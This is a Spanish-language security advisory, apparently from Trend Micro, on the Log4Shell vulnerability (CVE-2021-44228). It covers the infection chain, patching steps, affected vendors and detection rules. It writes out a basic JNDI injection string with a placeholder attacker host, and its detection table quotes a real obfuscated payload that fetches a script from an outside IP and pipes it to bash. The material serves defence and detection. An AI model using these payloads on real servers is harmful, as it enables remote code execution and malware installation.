Log4Shell, también conocida como CVE-2021-44228, fue reportada inicialmente a Apache de forma privada el 24 de noviembre y fue parchada con la versión 2.15.0 de Log4j el 9 de diciembre. Afecta a Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter.
Se ha hallado una vulnerabilidad en Apache Log4j, un paquete de registro para Java usado ampliamente. La vulnerabilidad, la cual puede permitir a un atacante ejecutar código arbitrario por medio del envío de mensajes de log, ha sido identificada como CVE-2021-44228 y se le ha dado el nombre Log4Shell. Fue reportada inicialmente Apache de forma privada el 24 de noviembre y fue parchada con la versión 2.15.0 de Log4j el 9 de diciembre. Afecta a Apache Struts, Apache Solr, Apache Druid, Elasticsearch, Apache Dubbo, and VMware vCenter.
Cuando se puede encontrar ${some_expression}, los mecanismos de búsqueda de Java encuentran el valor de la expresión y lo reemplaza. algunas de las búsquedas soportadas por Log4j son jndi, sys, env, java, lower, y upper. La búsqueda JNDI soporta protocolos como LDAP, RMI, DNS, y IIOP. Como discutiremos más adelante, un atacante podría inyectar expresiones JNDI en los logs.
Por ejemplo, un atacante podría hacer esto a través de solicitudes HTTP a un servidor web; cabe destacar que este es el vector de ataque más común que hemos visto actualmente. El método de búsqueda entonces descargará y ejecutará malicious.class que se encuentra en un servidor LDAP controlado por el atacante. En su forma más básica, todo lo que el atacante debe de hacer es plantar la siguiente expresión en los logs:
${jndi:ldap://{malicious website}/a}
Entonces esto hará que corra el código malicioso Java ubicado en http://{malicious website}/{malicious.class}.
Ataques en su elemento
Actualmente, hemos observado que los actores maliciosos están insertando variantes de Mirai y coinminers de Kinsing a servidores vulnerables. Aunque algo del tráfico de red es simple, otros actores maliciosos están usando la ofuscación en la expresión para ocultar su tráfico. Pueden encontrarse ejemplos al final de este artículo.
Cadena de infección
Para a continuación se muestra un posible flujo de infección de ataques que pudieran explotar Log4Shell:
[image url=”http://blog.la.trendmicro.com/wp-content/uploads/2021/12/Captura-de-pantalla-2021-12-13-154707-300×227.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”300″ height=”227″]
Acceso inicial
Esta vulnerabilidad es causada por el mecanismo de búsqueda (“lookup”) en log4j 2.x. Al llamar al método de registro en la aplicación, log4j 2.x llamará al método de formato para verificar los caracteres específicos ${ en cada registro. Si están presentes estos caracteres, la función de búsqueda será llamada para encontrar cadenas después de ${ dichas cadenas se reemplazarán con el valor real encontrado anteriormente. Se ha hecho la observación de que existen diferentes métodos de búsqueda, como la búsqueda de Java Naming Directory Interface (JNDI), la cual permite que JNDI recupere las variables.
Varios protocolos de búsqueda JNDI permiten búsquedas remotas como LDAP y RMI. Si el registro contiene las cadenas ${jndi:logging/context-name}, el método de búsqueda será llamado para encontrar la cadena jndi:logging/context-name.
El atacante podría establecer una clase Java maliciosa en un servidor LDAP controlado por el atacante. Para entonces, la función de búsqueda se utilizará para ejecutar la clase maliciosa en el servidor LDAP remoto.
[image url=”http://blog.la.trendmicro.com/wp-content/uploads/2021/12/Captura-de-pantalla-2021-12-13-154832-300×44.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”300″ height=”44″]
Ejecución
Una vez que el exploit tiene éxito, dependiendo del contenido de la URL en la búsqueda, el servidor entonces interpreta la cadena. Esto podría entonces llevar a comandos arbitrarios de shell en varios formatos como Java Class, JavaScript y Unix shell, entre otros.
Movimiento lateral
También se observó la descarga de componentes Cobeacon, que se pueden utilizar para el movimiento lateral. Estos también se pueden usar para el movimiento lateral y luego pueden conducir a una posible infección de ransomware, ya que se han observado componentes de Cobeacon en una variedad de ataques de ransomware.
Acceso a credenciales
La vulnerabilidad también podría llevar a la descarga de malware con capacidad de robo de credenciales, como Kirabash.
[image url=”http://blog.la.trendmicro.com/wp-content/uploads/2021/12/Captura-de-pantalla-2021-12-13-154936-300×57.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”300″ height=”57″]
Impacto
Actualmente, las cargas maliciosas observadas son el botnet Mirai y el coinminer Kinsing. Los puntos siguientes son dos de los posibles impactos:
- Toma de control de recursos. Los coinminers usarán recursos para minar criptomonedas, mientras Mirai usa los sistemas afectados como parte de su botnet para actividades como DDoS y spamming.
- Denegación de servicio de la red (DoS). Mirai puede usar el sistema afectado para lanzar ataques DDoS/DoS como parte de su rutina.
Parcheo y mitigación
Aunque los ataques en la naturaleza se entregan predominantemente a través de HTTP, la vulnerabilidad podría explotarse en cualquier protocolo en el que los datos de entrada del usuario se registren mediante Log4j. Por lo tanto, recomendamos a todos que se actualicen a Log4j 2.15.0. Mientras tanto, hasta que se parcheen las instancias vulnerables, la vulnerabilidad se puede mitigar mediante los siguientes pasos:
- Para >=2.10, configurar la propiedad del sistema formatMsgNoLookups a verdadero.
- Para >=2.10, configurar la variable del ambiente LOG4J_FORMAT_MSG_NO_LOOKUPSa
- Para 0-beta9 a 2.10.0, eliminarJndiLookup.class de la ruta de clases: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Una mejor práctica recomendada es limitar solamente a los puertos necesarios el tráfico de egreso al internet.
Es importante tener en cuenta que los pasos antes mencionados son más aplicables en los casos en los que Log4j se utiliza directamente. También pueden ser necesarios otros parches de aplicaciones que usan Log4j indirectamente. Como indica la siguiente lista, varios vendors de software tienen productos que exponen esta vulnerabilidad.
Guía de detección
Los registros de aplicaciones deben ser monitoreados para detectar la presencia de estos patrones o sus versiones ocultas:
- ${jndi:ldap:/}
- ${jndi:ldaps:/}
- ${jndi:rmi:/}
- ${jndi:dns:/}
- ${jndi:iiop:/}
Productos, aplicaciones y plug-ins vulnerables
Algunos de los paquetes identificados usando la versión vulnerable de Log4j están listados debajo con información detallada del vendor.
| Producto, aplicación, plug-ins | Descripción | Detalles |
| Red Hat | No todos los paquetes de Red Hat son vulnerables, pero algunos de Openshift y JBoss sí han sido afectados. | https://access.redhat.com/security/cve/cve-2021-44228 |
| Jenkins | Aunque Jenkins Core no se ve afectado por defecto, los plug-ins instalados en Jenkins pueden usar la versión vulnerable de Log4J. También existe un método para verificar si alguno de los plug-ins instalados utiliza Log4j. El segundo link contiene una lista de las versiones vulnerables de los plug-ins que se han encontrado al momento de escribir este artículo. | https://www.jenkins.io/blog/2021/12/10/log4j2-rce-CVE-2021-44228/ |
| Apache Solr | Los lanzamientos de Apache Solr previos a la versión 7.4 han sido afectados. | https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228 |
| VMWare | Varios productos han sido afectados. | https://www.vmware.com/security/advisories/VMSA-2021-0028.html |
| Citrix | Investigación pendiente | https://support.citrix.com/article/CTX335705 |
| Atlassian | Atlassian es vulnerable si se modificó la configuración por defecto. | https://confluence.atlassian.com/kb/faq-for-cve-2021-44228-1103069406.html |
| NetApp | Varios productos son vulnerables. | https://security.netapp.com/advisory/ntap-20211210-0007/ |
Soluciones de Trend Micro
Reglas IPS, LI para Trend Micro Cloud One™ – Workload Security y Deep Security
- Regla IPS: 1011242 – Vulnerabilidad de Ejecución Remota de Código Log4j (CVE-2021-44228)
- Regla IPS: 1005177 – Restringir Descarga de Archivos Java Bytecode (Jar/Class)
- Regla LI: 1011241 – Vulnerabilidad de Ejecución Remota de Código Apache Log4j (CVE-2021-44228)
- Agregar regla personalizada LI para detectar patrones conforme se descubran en el futuro
- Por favor siga los pasos como se describen en la siguiente página y agregue los siguientes patrones muestra en el campo de coincidencia de patrones. Puede agregar más conforme los descubra con el tiempo.
| S No. | Patrones para detección LI |
| 1 | ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDQuMjA5LjE3Ni4yNDM6ODA4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8yMDQuMjA5LjE3Ni4yNDM6ODA4MCl8YmFzaA==} |
| 2 | ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback} |
| 3 | ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback} |
Archivo DVToolkit CSW para Trend Micro Cloud One™ – Network Security y TippingPoint
- Filtro C1000001: HTTP: Inyección JNDI en Header HTTP o URI
Note que este CSW será reemplazado por el filtro 40627 programado para el 14 de diciembre de 2021.
Por favor use este artículo como referencia para información adicional.
Tácticas y Técnicas MITRE ATT&CK
[image url=”http://blog.la.trendmicro.com/wp-content/uploads/2021/12/Captura-de-pantalla-2021-12-13-155233-300×177.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”300″ height=”177″]
Indicadores de Compromiso (IOCs)
Podrá encontrar una lista de indicadores en este archivo de texto. Nos gustaría reconocer a otros investigadores, incluyendo a aquellos de Talos Intelligence, por difundir públicamente algunos de los indicadores listados aquí.
Leave a Reply